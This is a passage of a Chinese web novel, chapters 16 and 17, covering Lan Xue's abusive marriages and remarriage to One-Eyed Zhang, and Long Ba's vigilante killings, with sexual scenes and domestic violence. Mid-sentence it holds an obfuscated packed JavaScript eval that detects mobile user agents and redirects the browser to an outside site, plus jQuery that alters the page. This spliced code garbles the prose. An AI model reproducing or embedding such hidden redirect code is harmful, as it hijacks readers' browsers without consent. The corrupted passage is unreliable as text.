他是部门里新来的实习生,主管段有金把这毛头小子分给我带。我哪会带人,但凡段有金睁眼瞧瞧我的那些儿子孙子们,他都不会下这样的命令。凑巧的是,他天生八百度近视,没有眼镜,走路能撞进粉碎机里去。他的一条左手臂就是这样没的,在那以后,无论他走到哪,大家都提醒他「眼镜,眼镜」。久而久之,大家图省事儿便开始喊他段眼镜。 姜飞鸿是救助站里的孩子,也就是小时候被弃养。大多无父无母的孩子性格都敏感、孤僻,姜飞鸿却截然相反,自来熟、话多、问题也多、闲不住、啥都好奇、一点不知道害羞。这孩子也就胜在嘴甜和手里勤快,不然以他的好管闲事和随时随地聊天的劲头儿,估计是少不了挨打的。段有金把他分给我,想必也是看中了我的好脾气。也就是能忍。 到厂里不到两个月,三百多号人,甭管男女老少,姜飞鸿几乎聊了个遍,期间甚至还和财务科的女大学生何曼珠去看了舞蹈剧和电影。 姜飞鸿喜欢何曼珠。这是只有他知我知的事情。 而此时,何曼珠也正坐在台下的某处,她望着台上年长自己十余岁的小庄,眼神充满了爱慕。 「师傅,你看,何曼珠望着庄立春的眼神,是不是不太对啊。」 我没言语。思绪却飘去远方。 望着台上满面油光的胡得为,我遥想起六年后,他□□死在河岸的那个荒诞的晚上。 16. 兰雪 彼时已过花甲之年的胡得为,几乎达到了人生的最巅峰,名誉、权利、地位、钱财,可夜深入梦的老胡同志心头始终萦绕着一个躁动的秘密。 水塔下的废弃砖窑里,正值青年的小胡得为,将从家中偷来的珍贵杏仁巧克力,羞赧地塞进了少女苗黎的小手里。皮肤接触的瞬间,两人几乎同时红透了脸。 没有任何言语,顺其自然地,小胡搂住了小苗。 春暖花开的蝴蝶,应景而来,更加烘托了这欲说还休的男女情愫。 随之而来的,还有几个逃学的孩子。 叽叽喳喳的声音愈发靠近。 两人只得彼此松了手,慌乱逃出了砖窑洞。 一路狂奔回家喝水解渴的小胡,迎面撞见上门的媒婆。 「税务局的千金虽说比咱们小胡大了八岁,但人长得顶漂亮,而且读过好些书,照顾家里也是一把好手,最重要的是会疼人。人祁同伟局长说了,日后两家人结了亲,你们家老胡这回竞选厂长的事儿啊,他也会帮着留意的。」 年轻气盛的胡得为,立刻拍着桌子喊,曾经沧海难为水除却巫山不是云。却如同鹅毛落进了大雪地里,丝毫无济于事。 从前的婚姻结得快,三天订婚,六天领证,七天办酒宴请宾客。 刚二十的小胡就这样稀里糊涂被送进了祁佳慧的婚房。 当晚,祁佳慧坐在房间里绣了一晚上百合花。 胡得为则被灌得酩酊大醉,吐了满床。 后来的日子里,祁佳慧一直拒绝让胡得为亲近,更是在半年后,在胡得为想霸王硬上弓时,脱口而出道:「胡得为,你放开,我不喜欢男人!」 胡得为气得当即把家里的冰箱彩电砸了个遍。 鹅毛般的大雪,满天飞。路灯也犯了夜盲症的晚上,二十岁的胡得为,从城南走到城北,一身的新棉袄都结了冰。 他回想着自己在这段可笑婚姻开始之前的日子,父亲颇有点钱脉,自己有心仪的姑娘,生活可谓无忧无虑。再看短短半年的今日,自己硬生生被逼成了枚哑炮,仿佛一头正值壮年下山狩猎的猛虎,怎料到,山下遍地千亩都是绿稻田。 小胡得为来到苗黎的窗前,他眼见那熟悉的玻璃窗上,鲜艳的大红喜字,几乎刺穿了他的双眼。今天是苗黎与程奋进吃酒的日子。他脑海中,不自觉陷入幻想。幻想暖炉哄哄的新房里,程奋进一层层解开苗黎那连自己都还未有机会解开过的衣扣,两人生硬地舔着彼此的舌头,像两只笨手笨脚的小雏狗,他幻想着逐渐雄起的程奋进将苗黎压在身下,骑在了自己本应该在的位置,而苗黎本就粉红的脸颊几乎要烧了起来。寒风和冷雪也冰冻不了他热切的幻想。 他冲进苗黎家的单元楼,却在二楼停住,叩响了另一扇门。 只听里面一个怯怯的少女声音传来:「谁?」 「表妹,是我。」 少女穿着秋衣披着毛线外套,打开门:「阿为哥,你怎么突然来了?」 肌肤白若天使的少女名叫兰雪,是小胡得为远方表姑的女儿。她母亲早逝,父亲常年在外跑工地,比他小四岁。她见平日里整洁利落的阿为哥竟然这般模样,很是心疼地拉他进屋,帮他脱下冻透的外衣。 「怎么冻成这样?你等着,我去给你倒热水。」 就在少女转身之时,小胡得为从身后紧紧搂住了她。 少年血脉偾张的呼吸声,摩挲着少女敏感的耳垂。 两人就这样紧紧抱着,抱着。 明知不可能、不可以、不应该,明知一切必将走向痛苦和毁灭,明知这是可耻可憎的。在汹涌的欲望之下,道德与伦理节节败退,人类的许多时刻都是这样。 随着呼吸的急促、心跳的交织和荷尔蒙的急剧分泌…… 两人还是倒进了陈旧的沙发里。 被罪恶感深深钳制的两具年轻□□,纠缠到天明。 我自认为,没有权利也没有资格批判这两具年轻鲜活的生命,一个被剥夺了爱人,做了同夫,而另一个她的原因则更为复杂。如果我说,她只是习惯了顺从而不能拒绝,是否有人能接受? 如前面所说,两人是远方表亲。兰雪常年独住,而且她又有着白若天使的皮肤,以致于人人都忽略了她的样貌也同样出众。而这样的美人儿,注定不会安稳度过一生。。 人人都传言,她母亲是与人出轨,染上恶病而死,所以她似乎理所应当地也得继承母亲浪荡的本性,供所有男人游戏一番,尤其是在这个性论自由的时代。 是的,请别忘了我们的设定,性与爱的话语权高度自由,却对哲学、历史与艺术噤若寒蝉。 所以胡得为这个表哥也不例外,他心仪苗黎,可并不妨碍他会和兰雪玩过家家游戏。从前年少胆小的他并不敢真的逾越红线,总是隔着夏日单薄的短衣,在呼啸的风扇底下,像电视剧里那样。 兰雪的感受很复杂,她总是让熟悉的表哥为自己蒙上眼睛,平平直直地躺着,一点也不敢动一下。 兰雪并不知道,自己生病了。是心理的病。 后来兰雪三度结婚,期间的两次离婚都是因为出轨。安化厂都说她打娘胎里随的妓女的命,可我知道不是。在我做历史学家的这几千年里,从不缺少这样无能为力的命运,她们不像是人,更像是一头磨前的驴,从来没有选择的权利,只是被推着往前走。 我想如果可能的话,没有女人不想活成古秀梅那样,独立、果敢、勇武、泼辣,可是她们中绝大多数没有选择,古秀梅有她强权且明理的表亲,盲目崇拜她的丈夫,还有坚定维护她的孩子们。可兰雪们只有不管不顾的父亲、粗俗不堪的邻居和好色胆小的表哥。 甚至在这些人当中,胡得为几乎就是她的最优选。服从,是因为她害怕失去这个至少每周会来关心她几次的人,她心知他的别有所图,也明白他骨子里的卑劣,可她只能如此。 自我有记忆开始,见证了神话与宗教的诞生、演变、鼎盛、削弱,却从未相信过神话与宗教,我心知肚明,这不过是当权者的统治工具,和夺权者的煽动手段。面对磅礴的文明更迭、战场杀戮,我冷眼旁观,不曾动摇过无神论的根基。唯独却在面对这些凡胎□□的不堪重负的命运时,我总会不那么虔诚地抬头,问天。 无论你是上帝也好,还是佛祖也罢,无论你是女娲还是齐天大圣,能否睁开你慈悲的眼睛,瞧瞧这个被踩进烂泥里的女人吧。把那些富丽宫殿里的上等人的好运气,施舍给她一点吧,就算是磨旁的驴,也得给点甜头啊。 如果她感到痛苦、对人类失望,甚至成为连环食人魔,或许我可以坦然。然而她没有,她只是怀疑自己的本性是否真的纯良天真,她甚至为偶尔闪现的反抗念头感到有罪,她一边祈求上帝原谅,一边供奉佛祖,为了赎那本不存在的罪。 神话与宗教,也救不了兰雪,只有恶魔可以。 二十二岁的兰雪,是安化厂育红班的手风琴老师,她总是穿一条天蓝色的棉布连衣裙,雪白的脸盘和脚踝,常年裸露在外,躁动了千百名青壮男性的心。每天家门前的鲜花和情书,几乎堆成小山,因腿部受伤而暂时回家休息的父亲,每当听到楼下热烈告白的声音,便破口大骂她的放荡不自爱。一旁还不熟悉的后妈和异父异母的弟弟,总是不言语地躲进小卧室里,任由着语言暴力的愈演愈烈。 半月后,父亲选中了一个贪图她美好□□的大龄剩男,即便他在安化厂的声名并不好,但父亲还是做主将兰雪送出了家门。 这段惨烈的婚姻,开始得如同儿戏。兰雪好似一个精致的礼品盒,轻而易举地,被九千元的高价换卖。甚至在接亲当天之前,她与丈夫都未曾讲过十句话。 她做好了坦然接受命运的准备,却在短短两年后,分别因为手臂骨折、宫外孕、胫骨骨裂、□□撕裂、脑震荡、胃内出血、右眼失明而数次往返于医院。就连向来轻佻爱笑的吴侑珍,看到兰雪去社区医院换药时的模样,都恨得掉下泪来。她用药棉擦拭着她二次撕裂的伤口,嘴里伴随着恶毒的诅咒:「挨千刀的老男人,耷拉着那根屌就真以为自己是天王老子了,他娘的就该抓去下油锅五马分尸!」乃至多年后,吴侑珍枕在陈传富臃肿的肩头时,依然会偶尔闪过一个念头:如果能早点认识老陈,或许就能拉兰雪妹妹一把。 性论自由的年代,婚姻的权利高度集中于男性之手。女人即便被打死,也没有主动提出离婚的特权,而男人却可以随时弃之如敝履。古秀梅拼命奋斗,争取进入代表大会的一个席位,其政治抱负之一就是改变这一蛮横不公的旧律。而她自由而平等的政治理想,也是令我深深着迷于她的原因之一。 解救兰雪的不是什么觉醒的女超人,而是一名普普通通的牛奶工。 兰雪再次怀孕时,家里条件变好,家暴丈夫大发善心地订了每日送上门的新鲜牛奶。 外地而来的牛奶工,初次见到虚掩门后的兰雪时,便失态得弄洒了牛奶。他听站里的男人们议论过这个宛若天使的女人,尽管婚姻和怀孕折损了她的活力,可其樱桃般的唇瓣,和眉眼间天然流露的秋波缱绻,还是令他夜夜魂牵梦萦。内裤洗了一条又一条,心中汹涌的爱欲却丝毫未减半分。 后来每次的牛奶罐子,他都用胶带附上一点小惊喜,有时是一颗糖果,有时是一枚发卡。 二十四岁的兰雪,依然没懂得拒绝。 事至半途,暴躁的丈夫突然返回家中,开门便撞见衣衫散落各处,两具火热的□□天旋地转。他睁红了眼睛,激烈的暴力持续了个把钟头,家中一应物品几乎全被打碎,仿佛爆炸过后的贫民屋。尽管牛奶工全程紧紧护住兰雪,可她还是流产了。 这回,牛奶工用借来的一万九千元,将兰雪这个二手礼盒接回了自己租住的地下室。 破败、阴暗、潮湿、虫鼠不断。 汹涌的情爱最终冷却,牛奶工开始经常不进家门,而因为婚内出轨而名声尽毁的兰雪,早已被育红班辞退,找新工作更是处处碰壁,每天只靠牛奶工偶尔带回来的一点米面过活。短则三天,长则半月。兰雪饿得直得上街去寻些吃食,出门前,她尽力梳齐干枯凌乱的头发,穿上从前那条天蓝色棉裙,脸盘和脚踝依旧裸露在外,皮肤粗糙且皲裂,如同触目惊心的烙印,再不复往日的光彩。 可是美人总会迟暮的,不是吗? 她撑着膝盖,一级级地爬上台阶,站在久违的太阳底下,感到自己身上的霉斑,好似渐渐淡去,皮肤的裂纹悄然愈合。而她很清楚,一切不过是假象。 路人鄙夷的眼神,指点的手指,将她狠狠拖回现实,她反复低头确认,以保证自己确实衣装严实、干净正派。 远远望见她时,我和独眼张正坐在米二小店前吃豆腐花,我抬手打招呼:「兰雪姐,快来坐啊~」那时的我,刚被下放到安化厂思想改造没多久。 洁净如漆的黄土路上,她踏着金色阳光,脚步轻而小,低着头小心翼翼地走来,躲避着一路世俗且锋利的目光。 长我几岁的独眼张,莫名其妙地红了耳朵和脸庞,我不谙世事地打趣他:「瞧你那没见过姑娘的样儿。」 殊不知,一段后来足以载入人类情史的爱恋,此刻悄然萌芽。 独眼张的左眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422490|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先天缺失眼球,这导致随着年纪增大,左眼窝的加深,他整个面部五官都像是被漩涡拉扯般,往左眼的方向塌陷,整个面部呈现出一种扭曲的恐怖感。好在他性格搞怪、整日说笑,久而久之,大家也并不觉得恐怖,只觉得像个滑稽小丑。 小丑遇到了天使。 当夜,一个蒙面的高壮男人,闯入了黑不见影的地下室。深夜喝酒回家的男人女人们,分明听到了下水道口旁的半扇窗里,传来激烈的呼救声,却彼此眼神交汇,心领神会地各回了各家。 几天后,牛奶工如同兰雪的父亲那般带回了一个陌生女人,她怀里搂着一个啼哭的婴孩。 他冷静地如同机器:「肮脏的妓女,我当初就不该大发善心救你于水火,竟然把男人招到家里来。离婚,你即刻滚出这里。」 被饥饿折磨数日的兰雪,已经毫无解释的力量,她就像一块物尽其用的抹布那般,被牛奶工单手拎着脖领,狠狠摔在了大街上。 太阳还是那么明晃晃的。 过了不知多久,兰雪睁开晕厥的双眼,她的脸上、身上,被大人小孩浇满了尿水。她没有感到痛苦,也没有对人性绝望,她狭小的心脏里,似乎从未萌生过任何阴暗的负面的思想。她只觉得自己此刻有一点脏、有一点饿,如果能洗洗热水澡,再吃口汤饭就最好不过了。 此情此时,在地球尚无法洞察的宇宙深处里,创造了她的天神,正急得转圈圈。天神曾创造了无数个天使,这个心性至纯的小女儿,他最是疼爱。 在外地的独眼张听到了流言风语,开车赶回了安化厂。他在几百双非议的眼睛下将兰雪抱着送到了诊所。 彼时还未结识小李的吴侑珍帮助兰雪擦干净身体、头发,又换了新衣裳。这次是条明黄色的连衣裙,鲜艳动人。独眼张从餐馆打包了饭菜,兰雪吃得很香。 我虽然没有亲眼目睹这个干净且温饱的下午,但我敢笃定,这一定是人类自诞生起最伟大的光辉时刻之一。 独眼张向兰雪求婚了。 我荣幸被选为证婚人。我人生为数不多的强悍时刻即将诞生,快,洗耳听我讲。 新郎对新娘说:「兰雪,面对你,我总是怀有真实的自卑,这一天我曾经幻想过无数遍,可是就算是在梦中,我也从不敢正面瞧你的脸,我是个彻头彻尾的胆小鬼。所有光明的词语都仿佛为你而生,美丽、善良、诚实、温柔,而我却只有丑陋的容貌和粗劣的语言,这已经是我修改再三的文稿,可似乎依然无法向你、以及所有人诉说出,我对你深深的爱与愧疚。我应该早一点鼓起勇气的,在创世之初就与你定下生生世世的誓言,无论多少次轮回流转,我都会在你我还是孩子时便找到你,护着你,直到一遍遍地与你白头到老。我想给你所有一切美好的,温热的饭菜、宽敞的房间、自由自在的生活、凉爽的夏天暖和的冬天。而你,什么都不需要说、也不需要返还,你只需要做喜欢的事情、过你想过的生活,我爱你,与你带给我多少快乐和情欲无关,我爱你,发自灵魂深处,与世人都无关。兰雪,请允许我与你结婚吧,这是一场绝不分手,且生生世世的誓言。」 兰雪的小心脏,第一次涌进了莫名的暖流,仿佛久病床前无人问津的尸体,被人抱在怀里喂了一口热粥。 「占礼,这份突然出现的爱情令我感到温暖,但伴随而来的是巨大的惶恐,我并不能确切描述,这是怎样一种感觉。我之前的恋爱与婚姻都是从赤裸着身体开始的,而你却给了我不一样的体验,你总是礼貌且害羞地坐在我对面,像个可爱的小孩子。可我觉得咱俩的心却比世间所有的心都紧密相贴。可是我希望你要想清楚,与我结婚,你将面对些什么。那些鄙夷的唾沫在吐到我身上时,难免也会溅到你的新夹克衫,这是与你平素里遭到的语言嘲笑所完全不同的一种极端,你本有富足自在的生活,我本实在不忍你遭受如此非难,可是,你,是我第一次真正想靠近了解的人,我并不清楚这算不算爱,我是如此自相矛盾的状态,你是否依然愿意?」 话音刚落,大门被踹开,牛奶工带着那夜□□兰雪的男人吵嚷着进来。 「无耻妇人,三婚还如此高调,竟然不肯请我和我姐夫喝一杯酒!」 至此显而易见地知道了,那夜的地下室,不过是牛奶工为了名正言顺的休妻,所自导自演的戏码。 肮脏!卑鄙! 彼时正因下放改造积压了满腹怒火,且无用发泄的我,径直便冲上前去出头。语言的力量往往是收效甚微的,不能立竿见影。所以我选择更为稳妥的一种方式——用叉子刺穿了牛奶工的鼻子。 并随即对自己的无礼行为做了动机补充说明:「今天大庭广众,如果贸然脱了你的裤子,扎穿你的□□,显得太没礼貌,所以先拔个鼻子作为替代。你世代都是早泄且单传,安化厂也早已议论纷纷,讲你领回来那女人,肚里孩子并非源于你的精血,如若不想我再讲出更多难听的话题,立刻!离开这儿,别再被我看见。」 牛奶工捂着血淋淋的鼻子,从骂骂咧咧到哑口无言,最后朝地板啐了口混着血污的唾沫,愤愤然转身出了门。 独眼张大概猜到他此行大闹一番的目的是为了钱,于是当日下午便托刘罐头送去了三万。而这次不再是买卖,而是作为我叉穿牛奶工鼻子的赔偿。不得不说,做发疯恶人的感觉真是不错,有机会还想再尝试一回。 「当然。我永远愿意。」独眼张占礼毫不迟疑,「你我之间,主动权永远在你手里,所以可以给我戴戒指了么?我已经等待太久。」 兰雪从精美首饰盒里取出一枚戒指,缓缓戴进了张占礼的无名指。 17. 龙八 程奋进掉进厂里的下水道,摔死了。 听到这个消息时,还在适应新办公室座椅的胡得为,险些笑出声来。 吊唁大堂里,胡得为鞠躬问候遗孀,苗黎红着眼眶弯腰答谢,而就在两人目光交错之时,年少水塔下旧砖窑里压抑的情愫,死灰复燃。在张海燕凄厉婉转的哭丧声中,两人眼神暧昧良久,几乎是在众目之下,不动声色地将彼此从发丝到小腿抚摸了遍。 三天后,在程奋进下葬的后半夜。 苗黎钻进了胡得为的小轿车里,胡得为踩下油门,拐进了避人的郊区湖边。 逼仄的车厢里,两人虽极力克制,仍热汗喷薄。 「苗儿,当年我是被家人所逼,那婆娘她不喜欢男人,你知道我这些年,我有多想你吗?」 胡得为说着,摸上了苗黎的手。 尽管岁月都在两人的头发和皮肤上留下诸多痕迹,但此刻,仿佛时光倒流,二人都重焕青春。 「阿为,我,我没怪你。这些年如果不是你帮忙,我的日子绝不会是现在这般好,你的好我都记得。」 「不,我不只要你记得,而是想你偿还我。」 老年胡得为说着,整个人逼近上来,他余光里扫过苗黎黑色风衣虚掩的领口里,那风韵犹存的□□。 苗黎感受到了他克制的、炙热的目光,半推半就地松了风衣腰带。 「我所遭受的委屈,从未在外面提起过,他那玩意儿从三十来岁开始就举不起来了,也不肯用别的方面帮我解决,我几乎是在守活寡。我时常梦见被打断的那个过午,你压在我身上,我仿若一条奔流不息的河,然后每每激动得在梦里叫出声来。」说着,苗黎委屈地掉了眼泪,「我怎么会这样不要脸,在你面前讲这样臊红了脸的话。」 胡得为赶紧搂住她,哄道:「在我这里,你想说什么便说什么,你是自由的。」 苗黎缓缓挪开遮掩的双手,泪眼问道:「真的吗?阿为,你并不觉得这样的我轻贱?」 胡得为拉下车椅放平的开关:「你才不轻贱,从今往后,我会把你举得高高的。」边说着,他的热手便摸进了那滚烫的热河里。 随着苗黎的一声飘飘然的喘息声。 胡得为等了三十年,终于解开了少年时春梦中的那颗衣扣。 次日清晨,天光拂亮。 两个人冷却的身体在河边被钓鱼佬发现,警察很快赶到现场。车、钱包、手机、手表、项链都被洗劫一空。警方判定为劫财杀人,很快封锁现场并立案。 围观的人们却纷纷开始议论两人偷情的细节。 「六十多岁,大半身子入土的人了,竟弄得这般不体面。」 「谁说不是呢,老程骨灰还没凉透呢,真是造孽。」 不出半天凶犯被抓。正是龙震天的九个儿子之一,也就是我的孙子,龙八。 自小龙七和龙八就是兄弟几人里道德标准最高的。不同的是,龙七用高道德要求自己,龙八用高道德要求别人。比如家中吃苹果,龙七总是先选最小的那个,而龙八呢,他不仅自己要选小的,也要求其他兄弟选小的,最大的总是留给我和古秀梅。而这也注定了,后来他们的南辕北辙。 龙七穿着极简的衣物,朴素地行走在文明凋敝的大地上。他四处奔走,向人类传播先贤们的伟大思想,从孔子、王阳明到马克思、列宁。他像一个肩负使命的苦行僧,从山村走向城市,又从城市走进乡村。 「己所不欲,勿施于人。数千年前,古中国的思想先辈,早已经将人类共生之道参透,便是这己所不欲勿施于人。凡起心动念之时,先想一想,若此事发生在自己身上,自己是否愿意承受,如果不愿意那就不要施加到别人身上,但如今社会,许多人都没有做到这一点,人人以己为先,欺诈、霸凌、强取豪夺,遍地皆是,先人的思想与智慧成为水中之花镜中之月,似乎距离人间遥不可及,但人类思想火种绵延数千年而不灭的缘由,是因为,总有人会站出来,如今我龙某人便愿做这棵火种,只待春风一来,燎原大地,而诸位君子,今时你之见证,明日或可成为火种,观之习之,融会贯通。」 他传播,但不强求。有人投来不解甚至讽刺,他也礼貌接纳,并友好回应。他纯粹无瑕的思想里,从未生出半分愤怒和怨念。在这个极尽荒诞无度的时代,他如同一颗弥足珍贵的金子,熠熠生辉。 可与龙五龙六不同,龙七的思想觉醒在当局眼里是养虎为患的。龙七追求人人皆为君子的理想世界,虽然他宣扬的思想都是在合法范围之内,但这样如此纯粹的人,是不好控制的,金钱、色欲、逼迫都不能对他起作用,他太过玲珑剔透。 龙八亦是如此。 只是龙八的传教相比龙七要愤怒得多。他经过庄嫂曾工作过的纺织厂时,撞见一名强盗正在抢劫妇女,龙八撸起衣袖,健步冲上前去,三五下便将那人捶倒在地,近旁的妇女吓得连声尖叫,龙八头也不回,继续赶路。待到警察赶到时,他已经通过下水道去往了另一座城市。 比起语言的教化,龙八更信任绝对的力量。 「人性里恒久不变的一点就是,欺软怕硬。语言是软的,武力是硬的。的确,相同时间单位内,龙七的方式的确有可能比我教化更多的人,但那种教化是可以被策反的,我的方式虽然效率低了些,但胜在持久,道德极尽败坏的杀之永绝后患,道德尚可挽救的,断腿或断手,以示警戒,凡经我手教化者,绝不存在突然反复的状况。我不以求多,但求威慑。而威慑本身也具有教化作用。」 龙七的事迹很快传到了沙达康的桌案上,年轻的黄豆豆很是欣赏他,极力举荐,请沙达康把龙七招进自己的□□。 沙达康笑眯眯地却不应声,他转而问起黄豆豆与古妙心吃饭的事情。 古妙心是古秀梅的表侄女。 沙达康拉开抽屉,取出一块名牌手表,递给黄豆豆:「下次见面,送给妙心。你作为男孩子,要时刻表现得大方一点,知道吗?」 黄豆豆也没推诿。「知道的。」 隔天,龙七就进了□□做临时干事。 一见面,黄豆豆握着他的手,迟迟不肯松开。两个志同道合的青年就此结识。他们犹如乱世之中的两颗水晶,弥足珍贵。 半月后,由黄豆豆、龙六、古妙心主编的《青年求是报》印刷出刊,开篇便是龙七的文笔。笔。。 「萎靡不振,非青年也;纵欲享乐,亦非青年也。国之青年,当健体魄,强思想,务实业,求真理。文明之千秋万载,传至我辈之手,是使命,亦是担当。空谈无用,当从今时今刻,奋发图强,励精图治,为国之振兴、文明之振兴,尽我青年力量。」 沙达康将手中报纸缓缓放下,他摘下眼镜,露出和往常不同的城府。 近旁的心腹询问道:「沙老,您看着这报还继续让办着么?」 沙达康将眼镜压在龙七的名字上。 「在咱们这个时代啊,太有想法未必是件好事情。」 龙八则通过下水道来到了袁大头的郊区别墅,饥饿已久的他避开监控进到厨房,刚将半只烤鸭下肚,便听见虚掩的房间里传来一阵阵痛苦的哭喊声。他猛灌了一口酒,轻声靠近那扇门,从缝隙里看到一个皱巴巴的老男人,正虐待一个学生模样的年轻女孩,女孩皮开肉绽,眼泪横流。龙八愤怒地冲上前去,将老男人一拳干翻在地,并夺过皮带,狠狠地抽打在他身上。若不是女孩阻拦,龙八必要将他活活抽死。 龙八继续回到厨房吃烤鸭,女孩裹着被子,蹑手蹑脚跟出来。 「谢谢你。」 「不必,举手之劳。」 女孩开始讲自己的遭遇,她叫桔梗,本是市里卫校的学生,上周接了一份家教的兼职,却不曾想被送来了这里。男人每天都要虐待她取乐,她原以为自己会死在这里了。 龙八将酒递过去。「要不要来点儿?」 酒足饭饱,龙八让女孩随便换了身衣服,带她从下水道去往下一个城市。 隔天,奄奄一息的袁大头,在家里被例行入户的保洁发现,送去医院抢救了两天,终于还是死了。而关于他的死,熟悉他平时脾性和嗜好的官员都不意外,他妻子在国外早已有了新情夫,自然也不过问,警察于是潦草结案,匆匆送进了焚化炉。 来到羊城时,龙八为帮桔梗治疗伤口,冒险进入医院。正撞见值夜班的庄念秋。 龙八让庄念秋给桔梗治病,且理直气壮地说自己没钱。 庄念秋没搭腔,着手看病:「有些伤口撕裂得比较厉害,而且没保护好,反复发炎加上污染,要清创,会有点疼,你忍一忍。」 「可以打麻药吗?」 「麻药是需要开病历的,你们两个看着也不像是能拿得出身份证明的样子,忍忍吧。小孩,你手给她咬着,疼了不许喊出声啊,不然院长来了把你俩通通抓走。」 龙八和桔梗乖乖照做。两人不约而同地打量着气质清冷的庄念秋,她似乎有种魔力,令人移不开眼睛。而随着棉球浸满碘酒,戳进桔梗新旧叠加的伤口,桔梗疼得瞬间头皮发麻,她不受控制地拼死咬向龙八的手,龙八也被这突然袭来的阵痛击得瞬间面目狰狞。伤口之多之深,前后处理了近一个小时。 庄念秋给二人又装了几包消毒棉、几瓶碘酒和几捆纱布,又给他们塞了一点钱,并把自己的备用衣服拿了一套给桔梗。 「我逢三六值夜班,如果你们没离开就再过来换药,如果离开,这些也足够应付两周了。」 龙八走后,庄念秋独自坐在值班室,她卸下沉甸甸的眼镜,疲惫地揉捏着鼻梁。她隐约认出龙八或许和有饭有关系,但她心有难言之隐的愧疚。有饭死亡时的惨状人尽皆知,富春江死前的怪病她也亲眼见过,再结合当天,她穿越诊所的走廊,却始终没有找到两人,她大概推演出了当天有饭经历了什么,只是她始终不敢承认。 她自怀中摸出象征救赎的十字架,虔诚地认领自己的罪孽。 龙七的报纸很快也送到了安化厂。古秀梅看着上面振聋发聩的文字,很是激动。我很少见她流泪。 她说:「瞧啊,老林,这是咱们的小七,多好的文笔,多好的思想。」 独眼张推门进来。「古主任,林大哥,兰雪许是要生了,你们能陪着跑到医院不?」 几人匆忙将包裹塞进小汽车后备箱,兰雪则依偎在古秀梅怀里坐在后排,短暂颠簸后,很快送进产房,经过漫长的等待,里面传来一声天鹅雏鸟的啼叫。 医生护士纷纷吓得面无血色,新鲜的脐带就那样耷拉着,直到彻底冷却后才被想起来一刀剪断。雏鸟蜷缩着小小的身体,灰绒绒的,尚未睁眼。一段时间的适应与挣扎后,人们很快就接受了这个设定。护士照例称重登记,检查性别,抱给门外等待的家属亲友们。 我是最快适应的,花了仅仅不足一秒,紧接着是古秀梅,然后是张海燕和刘罐头,最后是独眼张。独眼张并非不能接受孩子是只天鹅,只是怕外面又要流言四起,他是心疼兰雪。 张海燕倒是看得很开。「天鹅好啊,吃得少,还不用上学,生下来就是重点保护动物,这不得老滋润啦。」 刘罐头也附和道:「可不是咧,说是还能每年从省里领养育津贴呢。对了,老弟,你和弟妹想好名字了没?」 正说着,兰雪被推出产房。她脸色苍白,整个人如同一条纯白毛巾,疲惫地铺在病床上。 「云朵……」她拨动毫无血色的双唇,轻唤着一个名字。 独眼张赶忙迎上前握住她的手。「护士带云朵擦洗去了,我们先回病房,等会儿她就来了。」 「占礼,云朵像你还是像我?」 「像一只天鹅,特别可爱,特别漂亮。」 陷入恋爱的姜飞鸿准备妥当鲜花和糖果,来到何曼珠的办公室。 何曼珠正在装扮自己。她像一只雀跃的小鹿,身穿粉裙子按下音响的播放键,华尔兹舞曲优雅传来,她抱起桌上的包装礼盒,在狭小的房间里忘情地旋转起来,阳光如同金子般洒在她轻快流转的脚尖,仿佛将她变身为童话中的公主。 音乐接近尾声,何曼珠华丽谢幕,并羞赧地在礼盒上留下轻轻一吻。随即她愈发害羞地笑出声来。 门外的姜飞鸿,从缝隙中看到这场唯美的独舞,他简直入了迷,他将自己带入那个淡粉色的包装礼盒,金色阳光里,他着一身燕尾礼服,如愿接过公主何曼珠的手,在令人陶醉的音乐声里,旋转、共舞。他们彼此交换暧昧的眼神,在沉默中将爱意倾吐,直到乐曲终了,公主在他的唇间留下轻轻一吻,两人互订终生。几年后他们的孩子出生,名字就叫姜何。 正想着,何曼珠开门朝外走,与姜飞鸿撞个满怀。 「啊,好疼……」何曼珠捂着脸大叫一声。 姜飞鸿连忙关心:「怎么了?哪里疼?」 何曼珠松手一看,掌心红了一块,她赶忙回屋抽纸捂住刺痛的脸颊。「你这拿的什么,把我脸都搞破了。」 姜飞鸿慌了神:「这是送给你的玫瑰花,可能是花茎的刺没处理干净。曼珠,我不是故意的。」 何曼珠冷脸拒绝:「什么破玫瑰,谁稀罕啊。我警告你,姜飞鸿,如果我这脸留疤,我……我……」何曼珠想不出有什么恶毒的惩罚,最后只能夺门而出。 姜飞鸿则呆愣愣地站在原地,不知怎的,面对旁人他嘴甜又勤快,唯独在何曼珠面前,他笨拙、卑微,时常哑口无言、呆若木头。 段有金跟他讲:「这个就是爱情。」 可却忘了告诉他,爱情是两个人的事情,你没情我有意,这是单相思。 姜飞鸿望着窗外何曼珠生气的背影,他找来花瓶,将玫瑰放进去,又把准备的糖果和信放进了何曼珠的抽屉里。他眼神扫过何曼珠摆在桌上的照片,那是她的学士毕业照,姜飞鸿拿起相框,盯着看了好久。 他脑海里蹦出一个念头,如果自己也能穿上这身衣服,没准儿何曼珠会喜欢自己。 厂宿舍里,庄立春拧开门锁,开灯,何曼珠梨花带雨地扑到他怀里。 他温柔地关门,上锁。搂着她哄:「怎么了,小丫头今天受什么委屈了?」 何曼珠眼睛红红的,撅着薄嘴唇,哭腔道:「都怪那个姜飞鸿,今天拿着玫瑰花在科室门前走,我出门没注意,撞到花刺上了,你看,脸都破了。」 庄立春捧起她的脸:「这说明花嫉妒你长得太好看,去医院了没?」 「去了,医生给开了消炎和愈合的药。」 「乖,我给你抹药好不好?」 何曼珠点点头。 姜飞鸿向厂里提交了离职申请,他决定去报考成人自考班。 段有金扶了扶八百度的眼镜,摇头道:「这娃娃成不了大事儿,为一点点儿女情长就另择别路,将来有苦头吃的。」 这是老段众多评语中,为数不多精准的一次。 在安化厂的所有人里,姜飞鸿是最没有特点的一个,他样貌普通,有点小聪明,意志和立场都不坚定,没有坚定的理想,也没有长久的规划,既不踏实也不先锋,除了乐观,似乎没有任何长处,而乐观实在也算不上与众不同的特点。 进入成人自考班两个月后,他喜欢上了同班的女孩,她留着和何曼珠几乎分毫不差的齐肩黑 